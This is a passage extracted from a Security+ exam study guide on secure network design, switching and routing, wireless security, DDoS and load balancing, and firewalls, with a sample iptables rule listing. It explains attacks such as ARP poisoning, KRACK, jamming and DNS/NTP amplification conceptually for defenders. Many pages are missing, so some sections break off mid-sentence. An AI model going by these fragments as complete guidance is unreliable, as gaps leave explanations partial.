communication is required between hosts on either side of a DMZ, a host within the
DMZ acts as a proxy. For example, if an intranet host requests a connection with a
web server on the Internet, a proxy in the DMZ takes the request and checks it. If the
request is valid, it retransmits it to the destination. External hosts have no idea about
what (if anything) is behind the DMZ.
Both extranet and Internet services are likely to be Internet-facing. The hosts that
provide the extranet or public access services should be placed in one or more
demilitarized zones. These would typically include web servers, mail and other
communications servers, proxy servers, and remote access servers. The hosts in a
DMZ are not fully trusted by the internal network because of the possibility that they
could be compromised from the Internet. They are referred to as bastion hosts and
run minimal services to reduce the attack surface as much as possible. A bastion host
would not be configured with any data that could be a security risk to the internal
network, such as user account credentials.
It is quite likely that more than one DMZ will be required as the services that run in
them may have different security requirements:
• A DMZ hosting proxies or secure web gateways to allow employees access to web
browsing and other Internet services.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
222 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• A DMZ for servers providing remote access to the local network via a Virtual Private
Network (VPN).
Screened Subnet
A screened subnet uses two firewalls placed on either side of the DMZ. The edge
firewall restricts traffic on the external/public interface and allows permitted traffic
to the hosts in the DMZ. The edge firewall can be referred to as the screening firewall
or router. The internal firewall filters communications between hosts in the DMZ and
hosts on the LAN. This firewall is often described as the choke firewall. A choke point
is a purposefully narrow gateway that facilitates better access control and easier
monitoring.
Triple-Homed Firewall
A DMZ can also be established using one router/firewall appliance with three network
interfaces, referred to as triple-homed. One interface is the public one, another is the
DMZ, and the third connects to the LAN. Routing and filtering rules determine what
forwarding is allowed between these interfaces. This can achieve the same sort of
configuration as a screened subnet.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 223
Screened Hosts
Smaller networks may not have the budget or technical expertise to implement a
DMZ. In this case, Internet access can still be implemented using a dual-homed proxy/
gateway server acting as a screened host.
Sometimes the term DMZ (or "DMZ host") is used by SOHO router vendors to mean
a host on the local network that accepts connections from the Internet. This might be
simpler to configure and solve some access problems, but it makes the whole network
very vulnerable to intrusion and DoS. An enterprise DMZ is established by a separate
network interface and subnet so that traffic between hosts in the DMZ and the LAN
must be routed (and subject to firewall rules). Most SOHO routers do not have the
necessary ports or routing functionality to create a true DMZ.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
224 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Implications of IPv6
IPv6 has impacts for premises networks, for the way your company accesses cloud
services, and for the way clients access web servers and other public servers that
you publish.
IPv6 may be enabled by default on clients and servers, and even on network
appliances (routers and firewalls), so there must be a management and security
plan for it. If IPv6 is enabled but unmanaged, there is the potential for malicious
use as a backdoor or covert channel. IPv6 also exposes novel attack vectors, such
as spoofing and DoS attacks on neighbor discovery (tools.cisco.com/security/center/
resources/ipv6_first_hop).
Hosts should be allocated IPv6 addresses that map to the same zones as the IPv4
topology. Firewalls should be configured with ACLs that either achieve the same
security configuration as for IPv4 or block IPv6, if that is a better option. One issue
here is that IPv6 is not intended to perform any type of address translation. Rather
than obscure internal/external traffic flows with private to public address mapping,
IPv6 routing and filtering policies should be configured to mirror the equivalent
IPv4 architecture.
The Internet Society has published a white paper on security implications of IPv6
(internetsociety.org/wp-content/uploads/2019/03/deploy360-ipv6-security-v1.0.pdf).
Infoblox's white paper on migrating services to IPv6 provides more useful context (infoblox.
com/wp-content/uploads/2016/04/infoblox-whitepaper-seven-deadly-traps-of-ipv6-
deployment_0.pdf).
East-West Traffic
Traffic that goes to and from a data center is referred to as north-south. This traffic
represents clients outside the data center making requests and receiving responses.
In data centers that support cloud and other Internet services, most traffic is actually
between servers within the data center. This is referred to as east-west traffic.
Consider a client uploading a photograph as part of a social media post. The image
file might be checked by an analysis server for policy violations (indecent or copyright
images, for instance), a search/indexing service would be updated with the image
metadata, the image would be replicated to servers that provision content delivery
networks (CDNs), the image would be copied to backup servers, and so on. A single
request to the cloud tends to cascade to multiple requests and transfers within
the cloud.
The preponderance of east-west traffic complicates security design. If each of these
cascading transactions were to pass though a firewall or other security appliance,
it would create a severe bottleneck. These requirements are driving the creation of
virtualized security appliances that can monitor traffic as it passes between servers
(blogs.cisco.com/security/trends-in-data-center-security-part-1-traffic-trends).
Zero Trust
Zero trust is based on the idea that perimeter security is unlikely to be completely
robust. On a modern network, there are just too many opportunities for traffic to
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 225
escape monitoring by perimeter devices and DMZs. Zero trust uses systems such as
continuous authentication and conditional access to mitigate privilege escalation and
account compromise by threat actors.
Another zero trust technique is to apply microsegmentation. Microsegmentation is a
security process that is capable of applying policies to a single node, as though it was
in a zone of its own. Like east-west traffic, this requires a new generation of virtualized
security appliances to implement (vmware.com/solutions/micro-segmentation.html).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
226 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Secure Network Designs
Answer the following questions:
5. What type of network requires the design to account for east-west traffic?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 227
Topic 9B
Implement Secure
Switching and Routing
Man-in-the-Middle/On-Path Attacks
Attackers can also take advantage of the lack of security in low-level data link protocols
to perform man-in-the-middle (MitM) attacks. A MitM or on-path attack is where
the threat actor gains a position between two hosts, and transparently captures,
monitors, and relays all communication between the hosts. An on-path attack could
also be used to covertly modify the traffic. For example, a MitM host could present a
workstation with a spoofed website form, to try to capture the user credential. Another
common on-path attack spoofs responses to DNS queries, redirecting users to spoofed
websites. On-path attacks can be defeated using mutual authentication, where both
hosts exchange secure credentials, but at layer 2 it is not always possible to put these
controls in place.
MAC Cloning
MAC cloning, or MAC address spoofing, changes the hardware address configured on
an adapter interface or asserts the use of an arbitrary MAC address. While a unique
MAC address is assigned to each network interface by the vendor at the factory, it is
simple to override it in software via OS commands, alterations to the network driver
configuration, or using packet crafting software. This can lead to a variety of issues
when investigating security incidents or when depending on MAC addresses as part of
a security control, as the presented address of the device may not be reliable.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
228 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
This screenshot shows packets captured during a typical ARP poisoning attack:
• In frames 6-8, the attacking machine (with MAC address ending :4a) directs
gratuitous ARP replies at other hosts (:76 and :77), claiming to have the IP addresses
.2 and .102.
• In frame 9, the .101/:77 host tries to send a packet to the .2 host, but it is received
by the attacking host (with the destination MAC :4a).
• In frame 10, the attacking host retransmits frame 9 to the actual .2 host. Wireshark
colors the frame black and red to highlight the retransmission.
• In frames 11 and 12, you can see the reply from .2, received by the attacking host in
frame 11 and retransmitted to the legitimate host in frame 12.
The usual target will be the subnet's default gateway (the router that accesses other
networks). If the ARP poisoning attack is successful, all traffic destined for remote
networks will be sent to the attacker. The attacker can perform a man-in-the-middle
attack, either by monitoring the communications and then forwarding them to the
router to avoid detection, or modifying the packets before forwarding them. The
attacker could also perform a denial of service attack by not forwarding the packets.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 229
forward unicast traffic to its correct destination. Overwhelming the table can cause the
switch to stop trying to apply MAC-based forwarding and flood unicast traffic out of all
ports, working as a hub. This makes sniffing network traffic easier for the threat actor.
Loop Prevention
An Ethernet switch's layer 2 forwarding function is similar to that of an older network
appliance called a bridge. In a network with multiple bridges, implemented these
days as switches, there may be more than one path for a frame to take to its intended
destination. As a layer 2 protocol, Ethernet has no concept of Time To Live. Therefore,
layer 2 broadcast traffic could continue to loop through a network with multiple
paths indefinitely. Layer 2 loops are prevented by the Spanning Tree Protocol (STP).
Spanning tree is a means for the bridges to organize themselves into a hierarchy and
prevent loops from forming.
STP configuration.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
230 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
DHCP Snooping
Another option is to configure Dynamic Host Configuration Protocol (DHCP)
snooping. DHCP is the protocol that allows a server to assign IP address information to
a client when it connects to the network. DHCP snooping inspects this traffic arriving on
access ports to ensure that a host is not trying to spoof its MAC address. It can also be
used to prevent rogue (or spurious) DHCP servers from operating on the network. With
DHCP snooping, only DHCP messages from ports configured as trusted are allowed.
Additionally dynamic ARP inspection (DAI), which can be configured alongside DHCP
snooping, prevents a host attached to an untrusted port from flooding the segment
with gratuitous ARP replies. DAI maintains a trusted database of IP:ARP mappings
and ensures that ARP packets are validly constructed and use valid IP addresses
(cisco.com/c/en/us/td/docs/switches/lan/catalyst6500/ios/12-2SX/configuration/guide/
book/snoodhcp.html).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 231
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
232 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Packet Fence supports the use of several scanning techniques, including vulnerability scanners, such
as Nessus and OpenVAS, Windows Management Instrumentation (WMI) queries, and log parsers.
(Screenshot used with permission from packetfence.org.)
Some NAC solutions can perform agentless posture assessment. This is useful when
the NAC solution must support a wide range of devices, such as smartphones, tablets,
and Internet of Things (IoT) devices, but less detailed information about the client is
available with an agentless solution.
Route Security
A successful attack against route security enables the attacker to redirect traffic from
its intended destination. On the Internet, this may allow the threat actor to herd users
to spoofed websites. On an enterprise network, it may facilitate circumventing firewalls
and security zones to allow lateral movement and data exfiltration.
Routes between networks and subnets can be configured manually, but most routers
automatically discover routes by communicating with each other. Dynamic routers
exchange information about routes using routing protocols. It is important that this
traffic be separated from channels used for other types of data. Routing protocols
do not always have effective integral security mechanisms, so they need to run in an
environment where access is very tightly controlled.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 233
Sample routing table showing routes obtained from different sources, such as static configuration,
direct connection, and learned from the Border Gateway Protocol (BGP) routing protocol.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
234 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Secure Switching and Routing
Answer the following questions:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 235
Topic 9C
Implement Secure Wireless
Infrastructure
Most organizations have both a wired and a wireless network for employees to access
while on the move within their facilities. Understanding the potential threats and
vulnerabilities will allow you to successfully secure the wireless components of an
organization's information systems infrastructure.
The 5 GHz band has more space to configure non-overlapping channels. Also note that
a WAP can use bonded channels to improve bandwidth, but this increases risks from
interference.
• Adjacent channel interference (ACI)—channels have only ~5 MHz spacing, but Wi-Fi
requires 20 MHz of channel space. When the channels selected for WAPs are not
cleanly spaced, the interference pattern creates significant numbers of errors and
loss of bandwidth. For example, if two access points within range of one another are
configured in the 2.4 GHz band with channels 1 and 6, they will not overlap. If a third
access point is added using channel 3, it will use part of the spectrum used by both
the other WAPs, and all three networks will suffer from interference.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
236 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 237
known as a fat WAP, while one that requires a wireless controller in order to function is
known as a thin WAP.
Controllers and access points must be made physically secure, as tampering could
allow a threat actor to insert a rogue/evil twin WAP to try to intercept logons. These
devices must be managed like switches and routers, using secure management
interfaces and strong administrative credentials.
Configuring a TP-LINK SOHO access point with wireless encryption and authentication settings. In this
example, the 2.4 GHz band allows legacy connections with WPA2-Personal security, while the 5 GHz
network is for 802.11ax (Wi-Fi 6) capable devices using WPA3-SAE authentication.
(Screenshot used with permission from TP-Link Technologies.)
Neither WEP nor the original WPA version are considered secure enough for continued
use. WPA2 uses the Advanced Encryption Standard (AES) cipher with 128-bit keys,
deployed within the Counter Mode with Cipher Block Chaining Message Authentication
Code Protocol (CCMP). AES replaces RC4 and CCMP replaces TKIP. CCMP provides
authenticated encryption, which is designed to make replay attacks harder.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
238 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Weaknesses have also been found in WPA2, however, which has led to its intended
replacement by WPA3. The main features of WPA3 are as follows:
• Simultaneous Authentication of Equals (SAE)—replaces WPA's 4-way handshake
authentication and association mechanism with a protocol based on Diffie-Hellman
key agreement.
• Updated cryptographic protocols—replaces AES CCMP with the AES Galois Counter
Mode Protocol (GCMP) mode of operation. Enterprise authentication methods must
use 192-bit AES, while personal authentication can use either 128-bit or 192-bit.
Wi-Fi performance also depends on support for the latest 802.11 standards. The most
recent generation (802.11ax) is being marketed as Wi-Fi 6. The earlier standards are
retroactively named Wi-Fi 5 (802.11ac) and Wi-Fi 4 (802.11n). The performance standards
are developed in parallel with the WPA security specifications. Most Wi-Fi 6 devices and
some Wi-Fi 5 and Wi-Fi 4 products should support WPA3, either natively or with a firmware/
driver update.
All types of Wi-Fi personal authentication have been shown to be vulnerable to attacks
that allow dictionary or brute force attacks against the passphrase. At a minimum, the
passphrase must be at least 14 characters long to try to mitigate risks from cracking.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 239
handshake to obtain the hash value and try to use an offline brute-force or dictionary
attack to recover the password. Dragonfly also implements ephemeral session keys,
providing forward secrecy.
The configuration interfaces for access points can use different labels for these methods.
You might see WPA2-Personal and WPA3-SAE rather than WPA2-PSK and WPA3-Personal, for
example. Additionally, an access point can be configured for WPA3 only or with support for
legacy WPA2 (WPA3-Personal Transition mode). Researchers already found flaws in WPA3-
Personal, one of which relies on a downgrade attack to use WPA2 (wi-fi.org/security-update-
april-2019).
A quick response (QR) code is a barcode standard for encoding arbitrary alphanumeric or
binary strings within a square block pattern. The codes can be scanned using any type of
digital camera.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
240 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
associates with the open hotspot and launches the browser, the client is redirected
to a captive portal or splash page. This will allow the client to authenticate to the
hotspot provider's network (over HTTPS, so the login is secure). The portal may also
be designed to enforce terms and conditions and/or take payment to access the
Wi-Fi service.
When using open wireless, users must ensure they send confidential web data only
over HTTPS connections and only use email, VoIP, IM, and file transfer services with
SSL/TLS enabled. Another option is for the user to join a Virtual Private Network
(VPN). The user would associate with the open hotspot then start the VPN connection.
This creates an encrypted "tunnel" between the user's computer and the VPN
server. This allows the user to browse the web or connect to email services without
anyone eavesdropping on the open Wi-Fi network being able to intercept those
communications. The VPN could be provided by the user's company or they could use
a third-party VPN service provider. Of course, if using a third party, the user needs to
be able to trust them implicitly. The VPN must use certificate-based tunneling to set up
the "inner" authentication method.
WPA3 can implement a mode called Wi-Fi Enhanced Open, which uses opportunistic
wireless encryption (OWE). OWE uses the Dragonfly handshake to agree ephemeral
session keys on joining the network. This means that one station cannot sniff the traffic
from another station, because they are using different session keys. There is still no
authentication of the access point, however.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 241
Using Cisco's Virtual Wireless LAN Controller to set security policies for a WLAN—this policy enforces
use of WPA2 and the use of 802.1X (Enterprise) authentication.
(Screenshot used with permission from Cisco.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
242 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Configuring Network Policy Server to authenticate wireless clients using 802.1X EAP-TLS.
(Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 243
RADIUS Federation
Most implementations of EAP use a RADIUS server to validate the authentication
credentials for each user (supplicant). RADIUS federation means that multiple
organizations allow access to one another's users by joining their RADIUS servers into a
RADIUS hierarchy or mesh. For example, when Bob from widget.foo needs to log on to
grommet.foo's network, the RADIUS server at grommet.foo recognizes that Bob is not
a local user but has been granted access rights and routes the request to widget.foo's
RADIUS server.
One example of RADIUS federation is the eduroam network (eduroam.org), which
allows students of universities from several different countries to log on to the
networks of any of the participating institutions using the credentials stored by their
"home" university.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
244 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Surveying Wi-Fi networks using Cambium Networks (formerly Xirrus) Wi-Fi Inspector—Note the presence
of print devices configured with open authentication (no security) and a smart TV appliance
(requiring authentication). (Screenshot used with permission from Xirrus.)
A rogue hardware WAP can be identified through physical inspections. There are also
various Wi-Fi analyzers and monitoring systems that can detect rogue WAPs, including
inSSIDer (metageek.com/products/inssider), Kismet (kismetwireless.net), and Cambium
Networks (formerly Xirrus) Wi-Fi Inspector (cambiumnetworks.com/products/software/
wifi-designer-and-wifi-inspector).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 245
ARP packet, and replaying this rapidly, causing the WAP to cycle through IV values
quickly, revealing the hash part.
WPA and WPA2 are not vulnerable to IV attacks, but a serious vulnerability was
discovered in 2017 (krackattacks.com). A KRACK attack uses a replay mechanism
that targets the 4-way handshake. KRACK is effective regardless of whether the
authentication mechanism is personal or enterprise. It is important to ensure both
clients and access points are fully patched against such attacks.
Jamming Attacks
A wireless network can be disrupted by interference from other radio sources. These
are often unintentional, but it is also possible for an attacker to purposefully jam
an access point. This might be done simply to disrupt services or to position an evil
twin on the network with the hope of stealing data. A Wi-Fi jamming attack can be
performed by setting up a WAP with a stronger signal. Wi-Fi jamming devices are
also widely available, though they are often illegal to use and sometimes to sell. Such
devices can be very small, but the attacker still needs to gain fairly close physical
proximity to the wireless network.
The only ways to defeat a jamming attack are either to locate the offending radio
source and disable it, or to boost the signal from the legitimate equipment. WAPs
for home and small business use are not often configurable, but the more advanced
wireless access points, such as Cisco's Aironet series, support configurable power
level controls. The source of interference can be detected using a spectrum analyzer.
Unlike a Wi-Fi analyzer, a spectrum analyzer must use a special radio receiver (Wi-
Fi adapters filter out anything that isn't a Wi-Fi signal). They are usually supplied as
handheld units with a directional antenna, so that the exact location of the interference
can be pinpointed.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
246 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Secure Wireless Infrastructure
Answer the following questions:
1. True or false? Band selection has a critical impact on all aspects of the
security of a wireless network?
5. You want to deploy a wireless network where only clients with domain-
issued digital certificates can join the network. What type of authentication
mechanism is suitable?
6. John is given a laptop for official use and is on a business trip. When he
arrives at his hotel, he turns on his laptop and finds a wireless access
point with the name of the hotel, which he connects to for sending official
communications. He may become a victim of which wireless threat?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 247
Topic 9D
Implement Load Balancers
A denial of service (DoS) attack can be extremely destructive and very difficult to mitigate.
As a network security professional, it is vital for you to be able to compare and contrast
DoS and distributed DoS (DDoS) methods and to be able to recommend and configure
load balancing technologies that can make networks more resilient to these attacks.
Application Attacks
Where a network attack uses low-level techniques, such as SYN or SYN/ACK flooding,
an application attack targets vulnerabilities in the headers and payloads of specific
application protocols. For example, one type of amplification attack targets DNS
services with bogus queries. One of the advantages of this technique is that while
the request is small, the response to a DNS query can be made to include a lot of
information, so this is a very effective way of overwhelming the bandwidth of the victim
network with much more limited resources on the attacker's botnet.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
248 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
The Network Time Protocol (NTP) can be abused in a similar way. NTP helps servers
on a network and on the Internet to keep the correct time. It is vital for many protocols
and security mechanisms that servers and clients be synchronized. One NTP query
(monlist) can be used to generate a response containing a list of the last 600 machines
that the NTP server has contacted. As with the DNS amplification attack, this allows a
short request to direct a long response at the victim network.
As well as being the target of an attack, embedded systems might be used as bots. Any type
of Internet-enabled device is vulnerable to compromise. This includes web-enabled cameras,
SOHO routers, and smart TVs and other appliances. This is referred to as an Internet of
Things (IoT) botnet.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 249
When a network is faced with a DDoS or similar flooding attack, an ISP can use either an
access control list (ACL) or a blackhole to drop packets for the affected IP address(es). A
blackhole is an area of the network that cannot reach any other part of the network. The
blackhole option is preferred, as evaluating each packet in a multi-gigabit stream against
ACLs overwhelms the processing resources available. A standard method of doing this
with border gateway protocol (BGP) routing is called a remotely triggered blackhole
(RTBH) (cisco.com/c/dam/en_us/about/security/intelligence/blackhole.pdf). The blackhole
also makes the attack less damaging to the ISP's other customers. With both approaches,
legitimate traffic is discarded along with the DDoS packets.
Another option is to use sinkhole routing so that the traffic flooding a particular IP address
is routed to a different network where it can be analyzed. Potentially some legitimate traffic
could be allowed through, but the real advantage is to identify the source of the attack
and devise rules to filter it. The target can then use low TTL DNS records to change the IP
address advertised for the service and try to allow legitimate traffic past the flood.
There are cloud DDoS mitigation services that can act as sinkhole network providers and try
to "scrub" flooded traffic.
Load Balancing
A load balancer distributes client requests across available server nodes in a farm or
pool. This is used to provision services that can scale from light to heavy loads, and to
provide mitigation against DDoS attacks. A load balancer also provides fault tolerance. If
there are multiple servers available in a farm, all addressed by a single name/IP address
via a load balancer, then if a single server fails, client requests can be routed to another
server in the farm. You can use a load balancer in any situation where you have multiple
servers providing the same function. Examples include web servers, front-end email
servers, and web conferencing, A/V conferencing, or streaming media servers.
There are two main types of load balancers:
• Layer 4 load balancer—basic load balancers make forwarding decisions on IP
address and TCP/UDP port values, working at the transport layer of the OSI model.
• Layer 7 load balancer (content switch)—as web applications have become more
complex, modern load balancers need to be able to make forwarding decisions
based on application-level data, such as a request for a particular URL or data types
like video or audio streaming. This requires more complex logic, but the processing
power of modern appliances is sufficient to deal with this.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
250 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Scheduling
The scheduling algorithm is the code and metrics that determine which node is
selected for processing each incoming request. The simplest type of scheduling is
called round robin; this just means picking the next node. Other methods include
picking the node with the fewest connections or the best response time. Each method
can also be weighted, using administrator set preferences or dynamic load information
or both.
The load balancer must also use some type of heartbeat or health check probe to verify
whether each node is available and under load or not. Layer 4 load balancers can only
make basic connectivity tests while layer 7 appliances can test the application's state,
as opposed to only verifying host availability.
Clustering
Where load balancing distributes traffic between independent processing nodes,
clustering allows multiple redundant processing nodes that share data with one
another to accept connections. This provides redundancy. If one of the nodes in the
cluster stops working, connections can failover to a working node. To clients, the
cluster appears to be a single server.
Virtual IP
For example, you might want to provision two load balancer appliances so that if
one fails, the other can still handle client connections. Unlike load balancing with a
single appliance, the public IP used to access the service is shared between the two
instances in the cluster. This is referred to as a virtual IP or shared or floating address.
The instances are configured with a private connection, on which each is identified by
its "real" IP address. This connection runs some type of redundancy protocol, such as
Common Address Redundancy Protocol (CARP), that enables the active node to "own"
the virtual IP and respond to connections. The redundancy protocol also implements
a heartbeat mechanism to allow failover to the passive node if the active one should
suffer a fault.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 251
Application Clustering
Clustering is also very commonly used to provision fault tolerant application services.
If an application server suffers a fault in the middle of a session, the session state data
will be lost. Application clustering allows servers in the cluster to communicate session
information to one another. For example, if a user logs in on one instance, the next
session can start on another instance, and the new server can access the cookies or
other information used to establish the login.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
252 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
3. If the switch supports QoS, it uses the 802.1p header to prioritize the frame. Note
that it can only do this by holding a queue of outgoing traffic and delaying non-
priority frames. If the queue is full, a traffic policing policy must state whether
non-priority frames should be dropped, or whether the queue should be cleared
at the expense of reducing QoS.
4. A similar process occurs at routers and load balancers on the network edge,
though they can inspect the DiffServ IP packet header, rather than having to rely
on the more limited 802.1p header. Note that prioritization always takes place on
the outbound interface, with low priority traffic being held in a queue.
There are many variations on this process. Modern layer 3 switches can inspect DSCP
values, rather than relying on 802.1p tagging, for instance. QoS may need to take place over
wireless networks, which use a different tagging mechanism. There is also a wholly different
approach to QoS called IntServ. This uses the Resource Reservation Protocol (RSVP) to
negotiate a link with the performance characteristics required by the application or policy.
QoS marking introduces the potential for DoS attacks. If a threat actor can craft
packets that are treated as high priority and send them at a high rate, the network
can be overwhelmed. Part of QoS involves identifying trust boundaries to establish a
legitimate authority for marking traffic. You should also ensure that there is always
sufficient bandwidth for security-critical monitoring data and network management/
configuration traffic.
For more information, consider these case studies and design overviews from Microsoft
(docs.microsoft.com/en-us/skypeforbusiness/optimizing-your-network/expressroute-and-
qos-in-skype-for-business-online) and Cisco (cisco.com/c/en/us/td/docs/solutions/Enterprise/
WAN_and_MAN/QoS_SRND/QoS-SRND-Book/QoSIntro.html).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 253
Review Activity:
Load Balancers
Answer the following questions:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
254 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Lesson 9
Summary
You should be able to use segmentation-based network designs and provision
switching, routing, Wi-Fi, and load balancing technologies for secure network access.
• Deploy switching and routing appliances and protocols to support each block,
accounting for loop protection, port security, and route security.
• Open authentication can be used for guest networks, so long as the risks are
understood.
• Evaluate risks from denial of service and design load balanced and clustered
services to provision high availability and fault tolerance.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 10
Implementing Network
Security Appliances
LESSON INTRODUCTION
In addition to the secure switching and routing appliances and protocols used to
implement network connectivity, the network infrastructure design must also include
security appliances to ensure confidentiality, integrity, and availability of services and
data. You should be able to distinguish the features of security and monitoring devices
and software and deploy these devices to appropriate locations in the network.
Lesson Objectives
In this lesson, you will:
• Implement firewalls and proxy servers.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
256 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 10A
Implement Firewalls and Proxy Servers
The firewall is one of the longest serving types of network security control, developed
to segregate some of the first Internet networks in the 1980s. Since those early
days, firewall types and functionality have both broadened and deepened. As a
network security professional, a very large part of your workday will be taken up with
implementing, configuring, and troubleshooting firewalls and proxies.
There may be additional functionality in some products, such as the ability to block
some types of ICMP (ping) traffic but not others, or the ability to filter by hardware
(MAC) address. Another distinction that can be made is whether the firewall can control
only inbound traffic or both inbound and outbound traffic. This is also often referred to
as ingress and egress traffic or filtering. Controlling outbound traffic is useful because it
can block applications that have not been authorized to run on the network and defeat
malware, such as backdoors. Ingress and egress traffic is filtered using separate ACLs.
Stateless Operation
A basic packet filtering firewall is stateless. This means that it does not preserve
information about network sessions. Each packet is analyzed independently, with
no record of previously processed packets. This type of filtering requires the least
processing effort, but it can be vulnerable to attacks that are spread over a sequence
of packets. A stateless firewall can also introduce problems in traffic flow, especially
when some sort of load balancing is being used or when clients or servers need to use
dynamically assigned ports.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 257
State table in the pfSense firewall appliance. (Screenshot used with permission
from Rubicon Communications, LLC.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
258 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
pfSense firewall rule configuration—Advanced settings allow maximums for states and
connections to be applied. (Screenshot used with permission from pfsense.org.)
iptables
iptables is a command line utility provided by many Linux distributions that allows
administrators to edit the rules enforced by the Linux kernel firewall (linux.die.net/
man/8/iptables). iptables works with chains, which apply to the different types of
traffic, such as the INPUT chain for traffic destined for the local host. Each chain has
a default policy set to DROP or ALLOW traffic that does not match a rule. Each rule,
processed in order, determines whether traffic matching the criteria is allowed or
dropped.
The command iptables --list INPUT --line-numbers -n will show
the contents of the INPUT chain with line numbers and no name resolution. The rules
in the following example drop any traffic from the specific host at 10.1.0.192 and allow
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 259
ICMP echo requests (pings), DNS, and HTTP/HTTPS traffic either from the local subnet
(10.1.0.0/24) or from any network (0.0.0.0/0):
Chain INPUT (policy DROP)
# target prot opt source destination
1 DROP all -- 10.1.0.192 0.0.0.0/0
2 ACCEPT icmp -- 10.10.0.0/24 0.0.0.0/0 icmptype 8
3 ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:53
4 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:53
5 ACCEPT tcp -- 10.1.0.0/24 0.0.0.0/0 tcp dpt:80
6 ACCEPT tcp -- 10.1.0.0/24 0.0.0.0/0 tcp dpt:443
7 ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 ctstate
RELATED,ESTABLISHED
The destination 0.0.0.0/0 means "anywhere." When set on the INPUT chain, the effect
